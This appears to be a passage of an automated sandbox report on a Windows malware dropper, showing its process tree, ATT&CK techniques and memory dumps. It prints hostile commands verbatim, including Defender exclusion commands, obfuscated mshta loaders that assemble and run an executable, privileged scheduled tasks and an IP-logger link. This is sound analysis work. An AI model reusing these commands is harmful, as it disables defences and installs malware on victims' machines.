      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\_Dzpafigaxd.vbs"
        6⤵
        
        PID:3064
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionPath C:\,'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Google\Qekdqa.exe'
        7⤵
        
        PID:4252
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Dzpafigaxd.vbs"
        6⤵
        
        PID:2172
        
        C:\Users\Admin\AppData\Local\Temp\Fphrgjtnjgrqbtrochalunsaintly_2021-10-24_21-38.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Fphrgjtnjgrqbtrochalunsaintly_2021-10-24_21-38.exe"
        7⤵
        
        PID:5668
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5668 -s 236
        8⤵
        Program crash
        
        PID:2144
      - C:\Users\Admin\AppData\Local\Temp\MSBuild.exe
        
        C:\Users\Admin\AppData\Local\Temp\MSBuild.exe
        6⤵
        
        PID:3908
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.google.com
        7⤵
        
        PID:5316
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue09264824c4.exe
      4⤵
      PID:4048
    - - C:\Users\Admin\AppData\Local\Temp\7zSC5510AB3\Tue09264824c4.exe
        
        Tue09264824c4.exe
        5⤵
        Executes dropped EXE
        
        PID:920
      - C:\Users\Admin\Pictures\Adobe Films\lvJ1Y9rsF3mHa5_BNzaFz0_L.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\lvJ1Y9rsF3mHa5_BNzaFz0_L.exe"
        6⤵
        
        PID:5340
      - C:\Users\Admin\Pictures\Adobe Films\OsgNZoSbST7fBwSKLgnW8qvL.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\OsgNZoSbST7fBwSKLgnW8qvL.exe"
        6⤵
        
        PID:3084
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3084 -s 232
        7⤵
        Program crash
        
        PID:5044
      - C:\Users\Admin\Pictures\Adobe Films\PNMKLAPwr5ErzUUHRjsBz37e.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\PNMKLAPwr5ErzUUHRjsBz37e.exe"
        6⤵
        
        PID:5536
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5536 -s 280
        7⤵
        Program crash
        Suspicious behavior: EnumeratesProcesses
        
        PID:920
      - C:\Users\Admin\Pictures\Adobe Films\SolUXd1c40w2DqWZtvNdMZxs.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\SolUXd1c40w2DqWZtvNdMZxs.exe"
        6⤵
        Executes dropped EXE
        
        PID:2016
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2016 -s 240
        7⤵
        Program crash
        
        PID:1112
      - C:\Users\Admin\Pictures\Adobe Films\13bpu9cGZVQ3bQBYByHDZulD.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\13bpu9cGZVQ3bQBYByHDZulD.exe"
        6⤵
        
        PID:2664
      - C:\Users\Admin\Pictures\Adobe Films\lgn2jnMR3V1GyJteBmyhVbIn.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\lgn2jnMR3V1GyJteBmyhVbIn.exe"
        6⤵
        
        PID:5844
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
        7⤵
        Creates scheduled task(s)
        
        PID:5380
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
        7⤵
        Creates scheduled task(s)
        
        PID:2368
        
        C:\Users\Admin\Documents\0CaBGTTepkzcGygD27zRDEA4.exe
        
        "C:\Users\Admin\Documents\0CaBGTTepkzcGygD27zRDEA4.exe"
        7⤵
        
        PID:2172
        
        C:\Users\Admin\Pictures\Adobe Films\vZAh9KkHrYZwRBbnfqgeInmc.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\vZAh9KkHrYZwRBbnfqgeInmc.exe"
        8⤵
        
        PID:5144
        
        C:\Users\Admin\Pictures\Adobe Films\x8OLtaEyJL0z2ulkZucMSoCU.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\x8OLtaEyJL0z2ulkZucMSoCU.exe"
        8⤵
        
        PID:1640
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1640 -s 1732
        9⤵
        Program crash
        
        PID:2996
        
        C:\Users\Admin\Pictures\Adobe Films\DNsgkluI6G1Ua0lTf2eOoPUF.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\DNsgkluI6G1Ua0lTf2eOoPUF.exe"
        8⤵
        
        PID:3096
        
        C:\Users\Admin\Pictures\Adobe Films\DNsgkluI6G1Ua0lTf2eOoPUF.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\DNsgkluI6G1Ua0lTf2eOoPUF.exe" -u
        9⤵
        
        PID:4976
        
        C:\Users\Admin\Pictures\Adobe Films\CdAiL0JFUdAm66xZzVKAhKX9.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\CdAiL0JFUdAm66xZzVKAhKX9.exe"
        8⤵
        
        PID:1360
        
        C:\Users\Admin\Pictures\Adobe Films\oa8FQvwCY6EOdV1JY9eeuSOR.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\oa8FQvwCY6EOdV1JY9eeuSOR.exe"
        8⤵
        
        PID:5392
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5392 -s 276
        9⤵
        Program crash
        
        PID:1784
        
        C:\Users\Admin\Pictures\Adobe Films\69lELfsMHE0347nWGe5r_gCI.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\69lELfsMHE0347nWGe5r_gCI.exe"
        8⤵
        
        PID:6024
        
        C:\Users\Admin\Pictures\Adobe Films\bjnk21HEe23_5uO5RrcW4fCC.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\bjnk21HEe23_5uO5RrcW4fCC.exe"
        8⤵
        
        PID:2212
        
        C:\Users\Admin\AppData\Local\Temp\is-TF297.tmp\bjnk21HEe23_5uO5RrcW4fCC.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-TF297.tmp\bjnk21HEe23_5uO5RrcW4fCC.tmp" /SL5="$7022C,506127,422400,C:\Users\Admin\Pictures\Adobe Films\bjnk21HEe23_5uO5RrcW4fCC.exe"
        9⤵
        
        PID:4896
        
        C:\Users\Admin\AppData\Local\Temp\is-08FI1.tmp\DYbALA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-08FI1.tmp\DYbALA.exe" /S /UID=2709
        10⤵
        
        PID:2824
        
        C:\Users\Admin\Pictures\Adobe Films\XtDXh0sC8yJuOEufilnYjmUZ.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\XtDXh0sC8yJuOEufilnYjmUZ.exe"
        8⤵
        
        PID:1036
        
        C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
        9⤵
        
        PID:784
      - C:\Users\Admin\Pictures\Adobe Films\gevrmQL0B4tD_i2ekUSkJq_0.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\gevrmQL0B4tD_i2ekUSkJq_0.exe"
        6⤵
        
        PID:1992
        
        C:\Users\Admin\AppData\Local\Temp\6c75f117-0360-4130-a322-ad5cee399cc5\AdvancedRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\6c75f117-0360-4130-a322-ad5cee399cc5\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\6c75f117-0360-4130-a322-ad5cee399cc5\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
        7⤵
        
        PID:4672
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\6c75f117-0360-4130-a322-ad5cee399cc5\test.bat"
        8⤵
        
        PID:5208
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\gevrmQL0B4tD_i2ekUSkJq_0.exe" -Force
        7⤵
        
        PID:4400
        
        C:\Users\Admin\Pictures\Adobe Films\gevrmQL0B4tD_i2ekUSkJq_0.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\gevrmQL0B4tD_i2ekUSkJq_0.exe"
        7⤵
        
        PID:3272
      - C:\Users\Admin\Pictures\Adobe Films\mUWMZpz81mXRuU24Z6aKAGGB.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\mUWMZpz81mXRuU24Z6aKAGGB.exe"
        6⤵
        
        PID:1904
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue0990c8b597f.exe
      4⤵
      PID:1476
    - - C:\Users\Admin\AppData\Local\Temp\7zSC5510AB3\Tue0990c8b597f.exe
        
        Tue0990c8b597f.exe
        5⤵
        Executes dropped EXE
        
        PID:3148
      - C:\Users\Admin\AppData\Local\Temp\is-FF85S.tmp\Tue0990c8b597f.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-FF85S.tmp\Tue0990c8b597f.tmp" /SL5="$10220,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zSC5510AB3\Tue0990c8b597f.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:484
        
        C:\Users\Admin\AppData\Local\Temp\7zSC5510AB3\Tue0990c8b597f.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7zSC5510AB3\Tue0990c8b597f.exe" /SILENT
        7⤵
        Executes dropped EXE
        
        PID:1852
        
        C:\Users\Admin\AppData\Local\Temp\is-I54MV.tmp\Tue0990c8b597f.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-I54MV.tmp\Tue0990c8b597f.tmp" /SL5="$3021C,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zSC5510AB3\Tue0990c8b597f.exe" /SILENT
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        Drops file in Program Files directory
        Suspicious use of FindShellTrayWindow
        
        PID:3728
        
        C:\Users\Admin\AppData\Local\Temp\is-SIEHP.tmp\postback.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-SIEHP.tmp\postback.exe" ss1
        9⤵
        Executes dropped EXE
        
        PID:5240
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue0956c36b51.exe /mixone
      4⤵
      PID:3096
    - - C:\Users\Admin\AppData\Local\Temp\7zSC5510AB3\Tue0956c36b51.exe
        
        Tue0956c36b51.exe /mixone
        5⤵
        Executes dropped EXE
        
        PID:1052
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1052 -s 240
        6⤵
        Program crash
        
        PID:4532
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue0971aafeebb6f.exe
      4⤵
      PID:568
    - - C:\Users\Admin\AppData\Local\Temp\7zSC5510AB3\Tue0971aafeebb6f.exe
        
        Tue0971aafeebb6f.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3296
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3296 -s 1916
        6⤵
        Program crash
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:3944
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue093cbcf0222440.exe
      4⤵
      PID:4928
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue0947ef38552fc.exe
      4⤵
      PID:2568
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue09786995c7f02a923.exe
      4⤵
      PID:3344
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue09c6db969ab9.exe
      4⤵
      PID:2056
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue097328c1b990.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5096

C:\Users\Admin\AppData\Local\Temp\7zSC5510AB3\Tue093cbcf0222440.exe
Tue093cbcf0222440.exe
1⤵
- Executes dropped EXE
PID:1784
- C:\Users\Admin\AppData\Local\Temp\7zSC5510AB3\Tue093cbcf0222440.exe
  "C:\Users\Admin\AppData\Local\Temp\7zSC5510AB3\Tue093cbcf0222440.exe" -u
  2⤵
  - Executes dropped EXE
  PID:2148

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbscrIPT: CLosE( creatEobjeCt("WSCRIpt.Shell" ).RUN( "C:\Windows\system32\cmd.exe /R TYPe ""C:\Users\Admin\AppData\Local\Temp\7zSC5510AB3\Tue09a30919dc5f00.exe"" > ..\WG1uEEN.EXe && StarT ..\WG1uEEn.Exe -PhwqM9LteEkjDz5gZPyhw9N49u86 & If """" == """" for %b In (""C:\Users\Admin\AppData\Local\Temp\7zSC5510AB3\Tue09a30919dc5f00.exe"" ) do taskkill /f /iM ""%~Nxb"" " , 0 , TRUe ) )
1⤵
PID:4840
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /R TYPe "C:\Users\Admin\AppData\Local\Temp\7zSC5510AB3\Tue09a30919dc5f00.exe" > ..\WG1uEEN.EXe && StarT ..\WG1uEEn.Exe -PhwqM9LteEkjDz5gZPyhw9N49u86 &If "" == "" for %b In ("C:\Users\Admin\AppData\Local\Temp\7zSC5510AB3\Tue09a30919dc5f00.exe" ) do taskkill /f /iM "%~Nxb"
  2⤵
  PID:1460
- - C:\Users\Admin\AppData\Local\Temp\WG1uEEN.EXe
    ..\WG1uEEn.Exe -PhwqM9LteEkjDz5gZPyhw9N49u86
    3⤵
    - Executes dropped EXE
    PID:5200
  - - C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\System32\mshta.exe" vbscrIPT: CLosE( creatEobjeCt("WSCRIpt.Shell" ).RUN( "C:\Windows\system32\cmd.exe /R TYPe ""C:\Users\Admin\AppData\Local\Temp\WG1uEEN.EXe"" > ..\WG1uEEN.EXe && StarT ..\WG1uEEn.Exe -PhwqM9LteEkjDz5gZPyhw9N49u86 & If ""-PhwqM9LteEkjDz5gZPyhw9N49u86 "" == """" for %b In (""C:\Users\Admin\AppData\Local\Temp\WG1uEEN.EXe"" ) do taskkill /f /iM ""%~Nxb"" " , 0 , TRUe ) )
      4⤵
      PID:5436
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /R TYPe "C:\Users\Admin\AppData\Local\Temp\WG1uEEN.EXe" > ..\WG1uEEN.EXe && StarT ..\WG1uEEn.Exe -PhwqM9LteEkjDz5gZPyhw9N49u86 &If "-PhwqM9LteEkjDz5gZPyhw9N49u86 " == "" for %b In ("C:\Users\Admin\AppData\Local\Temp\WG1uEEN.EXe" ) do taskkill /f /iM "%~Nxb"
        5⤵
        
        PID:5628
  - - C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\System32\mshta.exe" VBscrIpT:cloSE (cREateObJEct( "wsCRipt.SheLl" ).rUn( "Cmd.exe /q /R ecHo | sEt /P = ""MZ"" > ~dWBNpV.F & Copy /b /y ~dWbNpV.F +YsLNPQ.k + 9Jd86KPL.RS + 6VTZU.XA8+CQ3X0._+ 3hAXC.X ..\2GBhNGG.N &sTaRt msiexec.exe /y ..\2GbhNGG.n & DEl /Q * " ,0, TRue))
      4⤵
      PID:1072
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /q /R ecHo | sEt /P = "MZ" > ~dWBNpV.F &Copy /b /y ~dWbNpV.F +YsLNPQ.k + 9Jd86KPL.RS + 6VTZU.XA8+CQ3X0._+ 3hAXC.X ..\2GBhNGG.N &sTaRt msiexec.exe /y ..\2GbhNGG.n & DEl /Q *
        5⤵
        
        PID:5452
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" ecHo "
        6⤵
        
        PID:5112
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" sEt /P = "MZ" 1>~dWBNpV.F"
        6⤵
        
        PID:1548
      - C:\Windows\SysWOW64\msiexec.exe
        
        msiexec.exe /y ..\2GbhNGG.n
        6⤵
        
        PID:5428
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /iM "Tue09a30919dc5f00.exe"
    3⤵
    - Kills process with taskkill
    PID:5448

C:\Users\Admin\AppData\Local\Temp\7zSC5510AB3\Tue09c6db969ab9.exe
Tue09c6db969ab9.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3476
- C:\Users\Admin\AppData\Local\Temp\7zSC5510AB3\Tue09c6db969ab9.exe
  C:\Users\Admin\AppData\Local\Temp\7zSC5510AB3\Tue09c6db969ab9.exe
  2⤵
  - Executes dropped EXE
  PID:2816
- C:\Users\Admin\AppData\Local\Temp\7zSC5510AB3\Tue09c6db969ab9.exe
  C:\Users\Admin\AppData\Local\Temp\7zSC5510AB3\Tue09c6db969ab9.exe
  2⤵
  - Executes dropped EXE
  PID:5064

C:\Users\Admin\AppData\Local\Temp\7zSC5510AB3\Tue0947ef38552fc.exe
Tue0947ef38552fc.exe
1⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3944
- C:\Users\Public\run2.exe
  C:\Users\Public\run2.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:3408
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://iplogger.org/18tji7
    3⤵
    PID:908
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffcae0d46f8,0x7ffcae0d4708,0x7ffcae0d4718
      4⤵
      PID:5720
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2056,6841745165746709517,7376899043197376723,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2156 /prefetch:2
      4⤵
      PID:3824
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2056,6841745165746709517,7376899043197376723,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2312 /prefetch:3
      4⤵
      PID:5272
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2056,6841745165746709517,7376899043197376723,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2716 /prefetch:8
      4⤵
      PID:5912
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2056,6841745165746709517,7376899043197376723,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3340 /prefetch:1
      4⤵
      PID:6120
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2056,6841745165746709517,7376899043197376723,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3344 /prefetch:1
      4⤵
      PID:5488
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2056,6841745165746709517,7376899043197376723,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4892 /prefetch:1
      4⤵
      PID:2604
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2056,6841745165746709517,7376899043197376723,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5116 /prefetch:1
      4⤵
      PID:5676
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2056,6841745165746709517,7376899043197376723,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3624 /prefetch:1
      4⤵
      PID:1320
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2056,6841745165746709517,7376899043197376723,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3696 /prefetch:1
      4⤵
      PID:5764
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2056,6841745165746709517,7376899043197376723,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6068 /prefetch:8
      4⤵
      PID:1640
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2056,6841745165746709517,7376899043197376723,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6068 /prefetch:8
      4⤵
      PID:1844
- C:\Users\Public\run.exe
  C:\Users\Public\run.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:4752
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
    3⤵
    PID:4564
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4752 -s 280
    3⤵
    - Program crash
    PID:3296

C:\Users\Admin\AppData\Local\Temp\7zSC5510AB3\Tue09786995c7f02a923.exe
Tue09786995c7f02a923.exe
1⤵
- Executes dropped EXE
PID:4908
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4908 -s 284
  2⤵
  - Program crash
  PID:4948

C:\Users\Admin\AppData\Local\Temp\7zSC5510AB3\Tue097328c1b990.exe
Tue097328c1b990.exe
1⤵
- Executes dropped EXE
PID:3724

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 3416 -ip 3416
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5164

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 492 -p 5220 -ip 5220
1⤵
PID:5856

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 1052 -ip 1052
1⤵
PID:5944

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 3296 -ip 3296
1⤵
PID:5892

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 4908 -ip 4908
1⤵
PID:5620

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 3496 -ip 3496
1⤵
PID:6060

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 2016 -ip 2016
1⤵
PID:5624

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 4752 -ip 4752
1⤵
PID:5444

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 628 -p 5680 -ip 5680
1⤵
PID:6108

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:6088

C:\Windows\SysWOW64\mstsc.exe
"C:\Windows\SysWOW64\mstsc.exe"
1⤵
PID:1476
- C:\Windows\SysWOW64\cmd.exe
  /c del "C:\Users\Admin\Pictures\Adobe Films\13bpu9cGZVQ3bQBYByHDZulD.exe"
  2⤵
  PID:5152

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
PID:5748

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 3084 -ip 3084
1⤵
PID:5464

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 2016 -ip 2016
1⤵
PID:5620

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 696 -p 5668 -ip 5668
1⤵
PID:5416

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 724 -p 5536 -ip 5536
1⤵
PID:5608

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5036

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 716 -p 1640 -ip 1640
1⤵
PID:2572

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 708 -p 5392 -ip 5392
1⤵
PID:5596

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Web Service

T1102

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/484-295-0x00000000021A0000-0x00000000021A1000-memory.dmp

Filesize
4KB

Download
memory/920-348-0x00000000063A0000-0x00000000064EA000-memory.dmp

Filesize
1.3MB

Download
memory/1052-406-0x0000000000720000-0x000000000076C000-memory.dmp

Filesize
304KB

Download
memory/1156-322-0x0000000000830000-0x0000000000831000-memory.dmp

Filesize
4KB

Download
memory/1352-417-0x000000001C610000-0x000000001C612000-memory.dmp

Filesize
8KB

Download
memory/1352-595-0x000000001C614000-0x000000001C615000-memory.dmp

Filesize
4KB

Download
memory/1352-594-0x000000001C612000-0x000000001C614000-memory.dmp

Filesize
8KB

Download
